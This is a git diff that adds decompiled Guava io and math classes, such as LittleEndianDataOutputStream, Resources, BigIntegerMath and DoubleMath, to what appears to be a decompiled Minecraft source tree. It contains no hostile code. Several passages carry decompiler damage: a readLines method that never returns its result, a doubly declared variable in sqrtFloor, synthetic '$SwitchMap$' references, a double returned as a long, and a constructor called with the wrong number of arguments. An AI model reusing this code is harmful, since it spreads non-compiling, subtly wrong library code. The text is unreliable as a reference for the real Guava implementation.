+    ByteStreams.readFully(this, b);
+  }
+  
+  public void readFully(byte[] b, int off, int len) throws IOException
+  {
+    ByteStreams.readFully(this, b, off, len);
+  }
+  
+  public int skipBytes(int n) throws IOException
+  {
+    return (int)in.skip(n);
+  }
+  
+  public int readUnsignedByte() throws IOException
+  {
+    int b1 = in.read();
+    if (0 > b1) {
+      throw new EOFException();
+    }
+    
+    return b1;
+  }
+  
+
+
+
+
+
+
+
+
+  public int readUnsignedShort()
+    throws IOException
+  {
+    byte b1 = readAndCheckByte();
+    byte b2 = readAndCheckByte();
+    
+    return Ints.fromBytes((byte)0, (byte)0, b2, b1);
+  }
+  
+
+
+
+
+
+
+
+  public int readInt()
+    throws IOException
+  {
+    byte b1 = readAndCheckByte();
+    byte b2 = readAndCheckByte();
+    byte b3 = readAndCheckByte();
+    byte b4 = readAndCheckByte();
+    
+    return Ints.fromBytes(b4, b3, b2, b1);
+  }
+  
+
+
+
+
+
+
+
+  public long readLong()
+    throws IOException
+  {
+    byte b1 = readAndCheckByte();
+    byte b2 = readAndCheckByte();
+    byte b3 = readAndCheckByte();
+    byte b4 = readAndCheckByte();
+    byte b5 = readAndCheckByte();
+    byte b6 = readAndCheckByte();
+    byte b7 = readAndCheckByte();
+    byte b8 = readAndCheckByte();
+    
+    return Longs.fromBytes(b8, b7, b6, b5, b4, b3, b2, b1);
+  }
+  
+
+
+
+
+
+
+
+  public float readFloat()
+    throws IOException
+  {
+    return Float.intBitsToFloat(readInt());
+  }
+  
+
+
+
+
+
+
+
+
+  public double readDouble()
+    throws IOException
+  {
+    return Double.longBitsToDouble(readLong());
+  }
+  
+  public String readUTF() throws IOException
+  {
+    return new DataInputStream(in).readUTF();
+  }
+  
+
+
+
+
+
+
+
+  public short readShort()
+    throws IOException
+  {
+    return (short)readUnsignedShort();
+  }
+  
+
+
+
+
+
+
+
+  public char readChar()
+    throws IOException
+  {
+    return (char)readUnsignedShort();
+  }
+  
+  public byte readByte() throws IOException
+  {
+    return (byte)readUnsignedByte();
+  }
+  
+  public boolean readBoolean() throws IOException
+  {
+    return readUnsignedByte() != 0;
+  }
+  
+
+
+
+
+
+
+  private byte readAndCheckByte()
+    throws IOException, EOFException
+  {
+    int b1 = in.read();
+    
+    if (-1 == b1) {
+      throw new EOFException();
+    }
+    
+    return (byte)b1;
+  }
+}
diff --git a/src/minecraft/com/google/common/io/LittleEndianDataOutputStream.java b/src/minecraft/com/google/common/io/LittleEndianDataOutputStream.java
new file mode 100644
index 0000000..bba77aa
--- /dev/null
+++ b/src/minecraft/com/google/common/io/LittleEndianDataOutputStream.java
@@ -0,0 +1,171 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Longs;
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.FilterOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public class LittleEndianDataOutputStream
+  extends FilterOutputStream
+  implements DataOutput
+{
+  public LittleEndianDataOutputStream(OutputStream out)
+  {
+    super(new DataOutputStream((OutputStream)Preconditions.checkNotNull(out)));
+  }
+  
+  public void write(byte[] b, int off, int len) throws IOException
+  {
+    out.write(b, off, len);
+  }
+  
+  public void writeBoolean(boolean v) throws IOException {
+    ((DataOutputStream)out).writeBoolean(v);
+  }
+  
+  public void writeByte(int v) throws IOException {
+    ((DataOutputStream)out).writeByte(v);
+  }
+  
+
+
+
+  @Deprecated
+  public void writeBytes(String s)
+    throws IOException
+  {
+    ((DataOutputStream)out).writeBytes(s);
+  }
+  
+
+
+
+
+  public void writeChar(int v)
+    throws IOException
+  {
+    writeShort(v);
+  }
+  
+
+
+
+
+
+  public void writeChars(String s)
+    throws IOException
+  {
+    for (int i = 0; i < s.length(); i++) {
+      writeChar(s.charAt(i));
+    }
+  }
+  
+
+
+
+
+
+  public void writeDouble(double v)
+    throws IOException
+  {
+    writeLong(Double.doubleToLongBits(v));
+  }
+  
+
+
+
+
+
+  public void writeFloat(float v)
+    throws IOException
+  {
+    writeInt(Float.floatToIntBits(v));
+  }
+  
+
+
+
+
+
+  public void writeInt(int v)
+    throws IOException
+  {
+    out.write(0xFF & v);
+    out.write(0xFF & v >> 8);
+    out.write(0xFF & v >> 16);
+    out.write(0xFF & v >> 24);
+  }
+  
+
+
+
+
+
+  public void writeLong(long v)
+    throws IOException
+  {
+    byte[] bytes = Longs.toByteArray(Long.reverseBytes(v));
+    write(bytes, 0, bytes.length);
+  }
+  
+
+
+
+
+
+  public void writeShort(int v)
+    throws IOException
+  {
+    out.write(0xFF & v);
+    out.write(0xFF & v >> 8);
+  }
+  
+  public void writeUTF(String str) throws IOException {
+    ((DataOutputStream)out).writeUTF(str);
+  }
+  
+
+  public void close()
+    throws IOException
+  {
+    out.close();
+  }
+}
diff --git a/src/minecraft/com/google/common/io/MultiInputStream.java b/src/minecraft/com/google/common/io/MultiInputStream.java
new file mode 100644
index 0000000..bb39c5a
--- /dev/null
+++ b/src/minecraft/com/google/common/io/MultiInputStream.java
@@ -0,0 +1,118 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class MultiInputStream
+  extends InputStream
+{
+  private Iterator<? extends ByteSource> it;
+  private InputStream in;
+  
+  public MultiInputStream(Iterator<? extends ByteSource> it)
+    throws IOException
+  {
+    this.it = ((Iterator)Preconditions.checkNotNull(it));
+    advance();
+  }
+  
+  public void close() throws IOException {
+    if (in != null) {
+      try {
+        in.close();
+      } finally {
+        in = null;
+      }
+    }
+  }
+  
+
+  private void advance()
+    throws IOException
+  {
+    close();
+    if (it.hasNext()) {
+      in = ((ByteSource)it.next()).openStream();
+    }
+  }
+  
+  public int available() throws IOException {
+    if (in == null) {
+      return 0;
+    }
+    return in.available();
+  }
+  
+  public boolean markSupported() {
+    return false;
+  }
+  
+  public int read() throws IOException {
+    if (in == null) {
+      return -1;
+    }
+    int result = in.read();
+    if (result == -1) {
+      advance();
+      return read();
+    }
+    return result;
+  }
+  
+  public int read(@Nullable byte[] b, int off, int len) throws IOException {
+    if (in == null) {
+      return -1;
+    }
+    int result = in.read(b, off, len);
+    if (result == -1) {
+      advance();
+      return read(b, off, len);
+    }
+    return result;
+  }
+  
+  public long skip(long n) throws IOException {
+    if ((in == null) || (n <= 0L)) {
+      return 0L;
+    }
+    long result = in.skip(n);
+    if (result != 0L) {
+      return result;
+    }
+    if (read() == -1) {
+      return 0L;
+    }
+    return 1L + in.skip(n - 1L);
+  }
+}
diff --git a/src/minecraft/com/google/common/io/MultiReader.java b/src/minecraft/com/google/common/io/MultiReader.java
new file mode 100644
index 0000000..bea247b
--- /dev/null
+++ b/src/minecraft/com/google/common/io/MultiReader.java
@@ -0,0 +1,91 @@
+package com.google.common.io;
+
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.Reader;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class MultiReader
+  extends Reader
+{
+  private final Iterator<? extends CharSource> it;
+  private Reader current;
+  
+  MultiReader(Iterator<? extends CharSource> readers)
+    throws IOException
+  {
+    it = readers;
+    advance();
+  }
+  
+
+  private void advance()
+    throws IOException
+  {
+    close();
+    if (it.hasNext()) {
+      current = ((CharSource)it.next()).openStream();
+    }
+  }
+  
+  public int read(@Nullable char[] cbuf, int off, int len) throws IOException {
+    if (current == null) {
+      return -1;
+    }
+    int result = current.read(cbuf, off, len);
+    if (result == -1) {
+      advance();
+      return read(cbuf, off, len);
+    }
+    return result;
+  }
+  
+  public long skip(long n) throws IOException {
+    Preconditions.checkArgument(n >= 0L, "n is negative");
+    if (n > 0L) {
+      while (current != null) {
+        long result = current.skip(n);
+        if (result > 0L) {
+          return result;
+        }
+        advance();
+      }
+    }
+    return 0L;
+  }
+  
+  public boolean ready() throws IOException {
+    return (current != null) && (current.ready());
+  }
+  
+  public void close() throws IOException {
+    if (current != null) {
+      try {
+        current.close();
+      } finally {
+        current = null;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/io/OutputSupplier.java b/src/minecraft/com/google/common/io/OutputSupplier.java
new file mode 100644
index 0000000..3faa491
--- /dev/null
+++ b/src/minecraft/com/google/common/io/OutputSupplier.java
@@ -0,0 +1,10 @@
+package com.google.common.io;
+
+import java.io.IOException;
+
+@Deprecated
+public abstract interface OutputSupplier<T>
+{
+  public abstract T getOutput()
+    throws IOException;
+}
diff --git a/src/minecraft/com/google/common/io/PatternFilenameFilter.java b/src/minecraft/com/google/common/io/PatternFilenameFilter.java
new file mode 100644
index 0000000..1439e8e
--- /dev/null
+++ b/src/minecraft/com/google/common/io/PatternFilenameFilter.java
@@ -0,0 +1,62 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class PatternFilenameFilter
+  implements FilenameFilter
+{
+  private final Pattern pattern;
+  
+  public PatternFilenameFilter(String patternStr)
+  {
+    this(Pattern.compile(patternStr));
+  }
+  
+
+
+
+  public PatternFilenameFilter(Pattern pattern)
+  {
+    this.pattern = ((Pattern)Preconditions.checkNotNull(pattern));
+  }
+  
+  public boolean accept(@Nullable File dir, String fileName) {
+    return pattern.matcher(fileName).matches();
+  }
+}
diff --git a/src/minecraft/com/google/common/io/Resources.java b/src/minecraft/com/google/common/io/Resources.java
new file mode 100644
index 0000000..794359e
--- /dev/null
+++ b/src/minecraft/com/google/common/io/Resources.java
@@ -0,0 +1,245 @@
+package com.google.common.io;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Resources
+{
+  private Resources() {}
+  
+  @Deprecated
+  public static InputSupplier<InputStream> newInputStreamSupplier(URL url)
+  {
+    return ByteStreams.asInputSupplier(asByteSource(url));
+  }
+  
+
+
+
+
+  public static ByteSource asByteSource(URL url)
+  {
+    return new UrlByteSource(url, null);
+  }
+  
+
+  private static final class UrlByteSource
+    extends ByteSource
+  {
+    private final URL url;
+    
+    private UrlByteSource(URL url)
+    {
+      this.url = ((URL)Preconditions.checkNotNull(url));
+    }
+    
+    public InputStream openStream() throws IOException
+    {
+      return url.openStream();
+    }
+    
+    public String toString()
+    {
+      return "Resources.asByteSource(" + url + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public static InputSupplier<InputStreamReader> newReaderSupplier(URL url, Charset charset)
+  {
+    return CharStreams.asInputSupplier(asCharSource(url, charset));
+  }
+  
+
+
+
+
+
+  public static CharSource asCharSource(URL url, Charset charset)
+  {
+    return asByteSource(url).asCharSource(charset);
+  }
+  
+
+
+
+
+
+  public static byte[] toByteArray(URL url)
+    throws IOException
+  {
+    return asByteSource(url).read();
+  }
+  
+
+
+
+
+
+
+
+
+  public static String toString(URL url, Charset charset)
+    throws IOException
+  {
+    return asCharSource(url, charset).read();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> T readLines(URL url, Charset charset, LineProcessor<T> callback)
+    throws IOException
+  {
+    return CharStreams.readLines(newReaderSupplier(url, charset), callback);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static List<String> readLines(URL url, Charset charset)
+    throws IOException
+  {
+    (List)readLines(url, charset, new LineProcessor() {
+      final List<String> result = Lists.newArrayList();
+      
+      public boolean processLine(String line)
+      {
+        result.add(line);
+        return true;
+      }
+      
+      public List<String> getResult()
+      {
+        return result;
+      }
+    });
+  }
+  
+
+
+
+
+
+  public static void copy(URL from, OutputStream to)
+    throws IOException
+  {
+    asByteSource(from).copyTo(to);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static URL getResource(String resourceName)
+  {
+    ClassLoader loader = (ClassLoader)Objects.firstNonNull(Thread.currentThread().getContextClassLoader(), Resources.class.getClassLoader());
+    
+
+    URL url = loader.getResource(resourceName);
+    Preconditions.checkArgument(url != null, "resource %s not found.", new Object[] { resourceName });
+    return url;
+  }
+  
+
+
+
+
+
+  public static URL getResource(Class<?> contextClass, String resourceName)
+  {
+    URL url = contextClass.getResource(resourceName);
+    Preconditions.checkArgument(url != null, "resource %s relative to %s not found.", new Object[] { resourceName, contextClass.getName() });
+    
+    return url;
+  }
+}
diff --git a/src/minecraft/com/google/common/io/package-info.java b/src/minecraft/com/google/common/io/package-info.java
new file mode 100644
index 0000000..fd4f056
--- /dev/null
+++ b/src/minecraft/com/google/common/io/package-info.java
@@ -0,0 +1,6 @@
+package com.google.common.io;
+
+import javax.annotation.ParametersAreNonnullByDefault;
+
+@ParametersAreNonnullByDefault
+abstract interface package-info {}
diff --git a/src/minecraft/com/google/common/math/BigIntegerMath.java b/src/minecraft/com/google/common/math/BigIntegerMath.java
new file mode 100644
index 0000000..052cb04
--- /dev/null
+++ b/src/minecraft/com/google/common/math/BigIntegerMath.java
@@ -0,0 +1,454 @@
+package com.google.common.math;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class BigIntegerMath
+{
+  @VisibleForTesting
+  static final int SQRT2_PRECOMPUTE_THRESHOLD = 256;
+  
+  public static boolean isPowerOfTwo(BigInteger x)
+  {
+    Preconditions.checkNotNull(x);
+    return (x.signum() > 0) && (x.getLowestSetBit() == x.bitLength() - 1);
+  }
+  
+
+
+
+
+
+
+
+
+  public static int log2(BigInteger x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", (BigInteger)Preconditions.checkNotNull(x));
+    int logFloor = x.bitLength() - 1;
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(isPowerOfTwo(x));
+    case 2: 
+    case 3: 
+      return logFloor;
+    
+    case 4: 
+    case 5: 
+      return isPowerOfTwo(x) ? logFloor : logFloor + 1;
+    
+    case 6: 
+    case 7: 
+    case 8: 
+      if (logFloor < 256) {
+        BigInteger halfPower = SQRT2_PRECOMPUTED_BITS.shiftRight(256 - logFloor);
+        
+        if (x.compareTo(halfPower) <= 0) {
+          return logFloor;
+        }
+        return logFloor + 1;
+      }
+      
+
+
+
+
+
+
+      BigInteger x2 = x.pow(2);
+      int logX2Floor = x2.bitLength() - 1;
+      return logX2Floor < 2 * logFloor + 1 ? logFloor : logFloor + 1;
+    }
+    
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static final BigInteger SQRT2_PRECOMPUTED_BITS = new BigInteger("16a09e667f3bcc908b2fb1366ea957d3e3adec17512775099da2f590b0667322a", 16);
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static int log10(BigInteger x, RoundingMode mode)
+  {
+    MathPreconditions.checkPositive("x", x);
+    if (fitsInLong(x)) {
+      return LongMath.log10(x.longValue(), mode);
+    }
+    
+    int approxLog10 = (int)(log2(x, RoundingMode.FLOOR) * LN_2 / LN_10);
+    BigInteger approxPow = BigInteger.TEN.pow(approxLog10);
+    int approxCmp = approxPow.compareTo(x);
+    
+
+
+
+
+
+    if (approxCmp > 0)
+    {
+
+
+      do
+      {
+
+        approxLog10--;
+        approxPow = approxPow.divide(BigInteger.TEN);
+        approxCmp = approxPow.compareTo(x);
+      } while (approxCmp > 0);
+    } else {
+      BigInteger nextPow = BigInteger.TEN.multiply(approxPow);
+      int nextCmp = nextPow.compareTo(x);
+      while (nextCmp <= 0) {
+        approxLog10++;
+        approxPow = nextPow;
+        approxCmp = nextCmp;
+        nextPow = BigInteger.TEN.multiply(approxPow);
+        nextCmp = nextPow.compareTo(x);
+      }
+    }
+    
+    int floorLog = approxLog10;
+    BigInteger floorPow = approxPow;
+    int floorCmp = approxCmp;
+    
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(floorCmp == 0);
+    
+    case 2: 
+    case 3: 
+      return floorLog;
+    
+    case 4: 
+    case 5: 
+      return floorPow.equals(x) ? floorLog : floorLog + 1;
+    
+
+    case 6: 
+    case 7: 
+    case 8: 
+      BigInteger x2 = x.pow(2);
+      BigInteger halfPowerSquared = floorPow.pow(2).multiply(BigInteger.TEN);
+      return x2.compareTo(halfPowerSquared) <= 0 ? floorLog : floorLog + 1;
+    }
+    throw new AssertionError();
+  }
+  
+
+  private static final double LN_10 = Math.log(10.0D);
+  private static final double LN_2 = Math.log(2.0D);
+  
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static BigInteger sqrt(BigInteger x, RoundingMode mode)
+  {
+    MathPreconditions.checkNonNegative("x", x);
+    if (fitsInLong(x)) {
+      return BigInteger.valueOf(LongMath.sqrt(x.longValue(), mode));
+    }
+    BigInteger sqrtFloor = sqrtFloor(x);
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(sqrtFloor.pow(2).equals(x));
+    case 2: 
+    case 3: 
+      return sqrtFloor;
+    case 4: 
+    case 5: 
+      int sqrtFloorInt = sqrtFloor.intValue();
+      boolean sqrtFloorIsExact = (sqrtFloorInt * sqrtFloorInt == x.intValue()) && (sqrtFloor.pow(2).equals(x));
+      
+
+      return sqrtFloorIsExact ? sqrtFloor : sqrtFloor.add(BigInteger.ONE);
+    case 6: 
+    case 7: 
+    case 8: 
+      BigInteger halfSquare = sqrtFloor.pow(2).add(sqrtFloor);
+      
+
+
+
+
+      return halfSquare.compareTo(x) >= 0 ? sqrtFloor : sqrtFloor.add(BigInteger.ONE);
+    }
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  private static BigInteger sqrtFloor(BigInteger x)
+  {
+    int log2 = log2(x, RoundingMode.FLOOR);
+    BigInteger sqrt0; BigInteger sqrt0; if (log2 < 1023) {
+      sqrt0 = sqrtApproxWithDoubles(x);
+    } else {
+      int shift = log2 - 52 & 0xFFFFFFFE;
+      
+
+
+
+      sqrt0 = sqrtApproxWithDoubles(x.shiftRight(shift)).shiftLeft(shift >> 1);
+    }
+    BigInteger sqrt1 = sqrt0.add(x.divide(sqrt0)).shiftRight(1);
+    if (sqrt0.equals(sqrt1)) {
+      return sqrt0;
+    }
+    do {
+      sqrt0 = sqrt1;
+      sqrt1 = sqrt0.add(x.divide(sqrt0)).shiftRight(1);
+    } while (sqrt1.compareTo(sqrt0) < 0);
+    return sqrt0;
+  }
+  
+  @GwtIncompatible("TODO")
+  private static BigInteger sqrtApproxWithDoubles(BigInteger x) {
+    return DoubleMath.roundToBigInteger(Math.sqrt(DoubleUtils.bigToDouble(x)), RoundingMode.HALF_EVEN);
+  }
+  
+
+
+
+
+
+
+  @GwtIncompatible("TODO")
+  public static BigInteger divide(BigInteger p, BigInteger q, RoundingMode mode)
+  {
+    BigDecimal pDec = new BigDecimal(p);
+    BigDecimal qDec = new BigDecimal(q);
+    return pDec.divide(qDec, 0, mode).toBigIntegerExact();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static BigInteger factorial(int n)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    
+
+    if (n < LongMath.factorials.length) {
+      return BigInteger.valueOf(LongMath.factorials[n]);
+    }
+    
+
+    int approxSize = IntMath.divide(n * IntMath.log2(n, RoundingMode.CEILING), 64, RoundingMode.CEILING);
+    ArrayList<BigInteger> bignums = new ArrayList(approxSize);
+    
+
+    int startingNumber = LongMath.factorials.length;
+    long product = LongMath.factorials[(startingNumber - 1)];
+    
+    int shift = Long.numberOfTrailingZeros(product);
+    product >>= shift;
+    
+
+    int productBits = LongMath.log2(product, RoundingMode.FLOOR) + 1;
+    int bits = LongMath.log2(startingNumber, RoundingMode.FLOOR) + 1;
+    
+    int nextPowerOfTwo = 1 << bits - 1;
+    
+
+    for (long num = startingNumber; num <= n; num += 1L)
+    {
+      if ((num & nextPowerOfTwo) != 0L) {
+        nextPowerOfTwo <<= 1;
+        bits++;
+      }
+      
+      int tz = Long.numberOfTrailingZeros(num);
+      long normalizedNum = num >> tz;
+      shift += tz;
+      
+      int normalizedBits = bits - tz;
+      
+      if (normalizedBits + productBits >= 64) {
+        bignums.add(BigInteger.valueOf(product));
+        product = 1L;
+        productBits = 0;
+      }
+      product *= normalizedNum;
+      productBits = LongMath.log2(product, RoundingMode.FLOOR) + 1;
+    }
+    
+    if (product > 1L) {
+      bignums.add(BigInteger.valueOf(product));
+    }
+    
+    return listProduct(bignums).shiftLeft(shift);
+  }
+  
+  static BigInteger listProduct(List<BigInteger> nums) {
+    return listProduct(nums, 0, nums.size());
+  }
+  
+  static BigInteger listProduct(List<BigInteger> nums, int start, int end) {
+    switch (end - start) {
+    case 0: 
+      return BigInteger.ONE;
+    case 1: 
+      return (BigInteger)nums.get(start);
+    case 2: 
+      return ((BigInteger)nums.get(start)).multiply((BigInteger)nums.get(start + 1));
+    case 3: 
+      return ((BigInteger)nums.get(start)).multiply((BigInteger)nums.get(start + 1)).multiply((BigInteger)nums.get(start + 2));
+    }
+    
+    int m = end + start >>> 1;
+    return listProduct(nums, start, m).multiply(listProduct(nums, m, end));
+  }
+  
+
+
+
+
+
+
+
+
+  public static BigInteger binomial(int n, int k)
+  {
+    MathPreconditions.checkNonNegative("n", n);
+    MathPreconditions.checkNonNegative("k", k);
+    Preconditions.checkArgument(k <= n, "k (%s) > n (%s)", new Object[] { Integer.valueOf(k), Integer.valueOf(n) });
+    if (k > n >> 1) {
+      k = n - k;
+    }
+    if ((k < LongMath.biggestBinomials.length) && (n <= LongMath.biggestBinomials[k])) {
+      return BigInteger.valueOf(LongMath.binomial(n, k));
+    }
+    
+    BigInteger accum = BigInteger.ONE;
+    
+    long numeratorAccum = n;
+    long denominatorAccum = 1L;
+    
+    int bits = LongMath.log2(n, RoundingMode.CEILING);
+    
+    int numeratorBits = bits;
+    
+    for (int i = 1; i < k; i++) {
+      int p = n - i;
+      int q = i + 1;
+      
+
+
+      if (numeratorBits + bits >= 63)
+      {
+
+        accum = accum.multiply(BigInteger.valueOf(numeratorAccum)).divide(BigInteger.valueOf(denominatorAccum));
+        
+
+        numeratorAccum = p;
+        denominatorAccum = q;
+        numeratorBits = bits;
+      }
+      else {
+        numeratorAccum *= p;
+        denominatorAccum *= q;
+        numeratorBits += bits;
+      }
+    }
+    return accum.multiply(BigInteger.valueOf(numeratorAccum)).divide(BigInteger.valueOf(denominatorAccum));
+  }
+  
+
+
+  @GwtIncompatible("TODO")
+  static boolean fitsInLong(BigInteger x)
+  {
+    return x.bitLength() <= 63;
+  }
+  
+  private BigIntegerMath() {}
+}
diff --git a/src/minecraft/com/google/common/math/DoubleMath.java b/src/minecraft/com/google/common/math/DoubleMath.java
new file mode 100644
index 0000000..5d7346a
--- /dev/null
+++ b/src/minecraft/com/google/common/math/DoubleMath.java
@@ -0,0 +1,474 @@
+package com.google.common.math;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Booleans;
+import java.math.BigInteger;
+import java.math.RoundingMode;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class DoubleMath
+{
+  private static final double MIN_INT_AS_DOUBLE = -2.147483648E9D;
+  private static final double MAX_INT_AS_DOUBLE = 2.147483647E9D;
+  private static final double MIN_LONG_AS_DOUBLE = -9.223372036854776E18D;
+  private static final double MAX_LONG_AS_DOUBLE_PLUS_ONE = 9.223372036854776E18D;
+  
+  @GwtIncompatible("#isMathematicalInteger, com.google.common.math.DoubleUtils")
+  static double roundIntermediate(double x, RoundingMode mode)
+  {
+    if (!DoubleUtils.isFinite(x)) {
+      throw new ArithmeticException("input is infinite or NaN");
+    }
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(isMathematicalInteger(x));
+      return x;
+    
+    case 2: 
+      if ((x >= 0.0D) || (isMathematicalInteger(x))) {
+        return x;
+      }
+      return x - 1.0D;
+    
+
+    case 3: 
+      if ((x <= 0.0D) || (isMathematicalInteger(x))) {
+        return x;
+      }
+      return x + 1.0D;
+    
+
+    case 4: 
+      return x;
+    
+    case 5: 
+      if (isMathematicalInteger(x)) {
+        return x;
+      }
+      return x + Math.copySign(1.0D, x);
+    
+
+    case 6: 
+      return Math.rint(x);
+    
+    case 7: 
+      double z = Math.rint(x);
+      if (Math.abs(x - z) == 0.5D) {
+        return x + Math.copySign(0.5D, x);
+      }
+      return z;
+    
+
+
+    case 8: 
+      double z = Math.rint(x);
+      if (Math.abs(x - z) == 0.5D) {
+        return x;
+      }
+      return z;
+    }
+    
+    
+
+    throw new AssertionError();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("#roundIntermediate")
+  public static int roundToInt(double x, RoundingMode mode)
+  {
+    double z = roundIntermediate(x, mode);
+    MathPreconditions.checkInRange((z > -2.147483649E9D ? 1 : 0) & (z < 2.147483648E9D ? 1 : 0));
+    return (int)z;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("#roundIntermediate")
+  public static long roundToLong(double x, RoundingMode mode)
+  {
+    double z = roundIntermediate(x, mode);
+    MathPreconditions.checkInRange((-9.223372036854776E18D - z < 1.0D ? 1 : 0) & (z < 9.223372036854776E18D ? 1 : 0));
+    return z;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("#roundIntermediate, java.lang.Math.getExponent, com.google.common.math.DoubleUtils")
+  public static BigInteger roundToBigInteger(double x, RoundingMode mode)
+  {
+    x = roundIntermediate(x, mode);
+    if (((-9.223372036854776E18D - x < 1.0D ? 1 : 0) & (x < 9.223372036854776E18D ? 1 : 0)) != 0) {
+      return BigInteger.valueOf(x);
+    }
+    int exponent = Math.getExponent(x);
+    long significand = DoubleUtils.getSignificand(x);
+    BigInteger result = BigInteger.valueOf(significand).shiftLeft(exponent - 52);
+    return x < 0.0D ? result.negate() : result;
+  }
+  
+
+
+
+  @GwtIncompatible("com.google.common.math.DoubleUtils")
+  public static boolean isPowerOfTwo(double x)
+  {
+    return (x > 0.0D) && (DoubleUtils.isFinite(x)) && (LongMath.isPowerOfTwo(DoubleUtils.getSignificand(x)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static double log2(double x)
+  {
+    return Math.log(x) / LN_2;
+  }
+  
+  private static final double LN_2 = Math.log(2.0D);
+  
+
+
+
+  @VisibleForTesting
+  static final int MAX_FACTORIAL = 170;
+  
+
+
+
+  @GwtIncompatible("java.lang.Math.getExponent, com.google.common.math.DoubleUtils")
+  public static int log2(double x, RoundingMode mode)
+  {
+    Preconditions.checkArgument((x > 0.0D) && (DoubleUtils.isFinite(x)), "x must be positive and finite");
+    int exponent = Math.getExponent(x);
+    if (!DoubleUtils.isNormal(x)) {
+      return log2(x * 4.503599627370496E15D, mode) - 52;
+    }
+    
+    boolean increment;
+    
+    switch (1.$SwitchMap$java$math$RoundingMode[mode.ordinal()]) {
+    case 1: 
+      MathPreconditions.checkRoundingUnnecessary(isPowerOfTwo(x));
+    
+    case 2: 
+      increment = false;
+      break;
+    case 3: 
+      increment = !isPowerOfTwo(x);
+      break;
+    case 4: 
+      increment = (exponent < 0 ? 1 : 0) & (!isPowerOfTwo(x) ? 1 : 0);
+      break;
+    case 5: 
+      increment = (exponent >= 0 ? 1 : 0) & (!isPowerOfTwo(x) ? 1 : 0);
+      break;
+    case 6: 
+    case 7: 
+    case 8: 
+      double xScaled = DoubleUtils.scaleNormalize(x);
+      
+
+      increment = xScaled * xScaled > 2.0D;
+      break;
+    default: 
+      throw new AssertionError();
+    }
+    return increment ? exponent + 1 : exponent;
+  }
+  
+
+
+
+
+
+  @GwtIncompatible("java.lang.Math.getExponent, com.google.common.math.DoubleUtils")
+  public static boolean isMathematicalInteger(double x)
+  {
+    return (DoubleUtils.isFinite(x)) && ((x == 0.0D) || (52 - Long.numberOfTrailingZeros(DoubleUtils.getSignificand(x)) <= Math.getExponent(x)));
+  }
+  
+
+
+
+
+
+
+
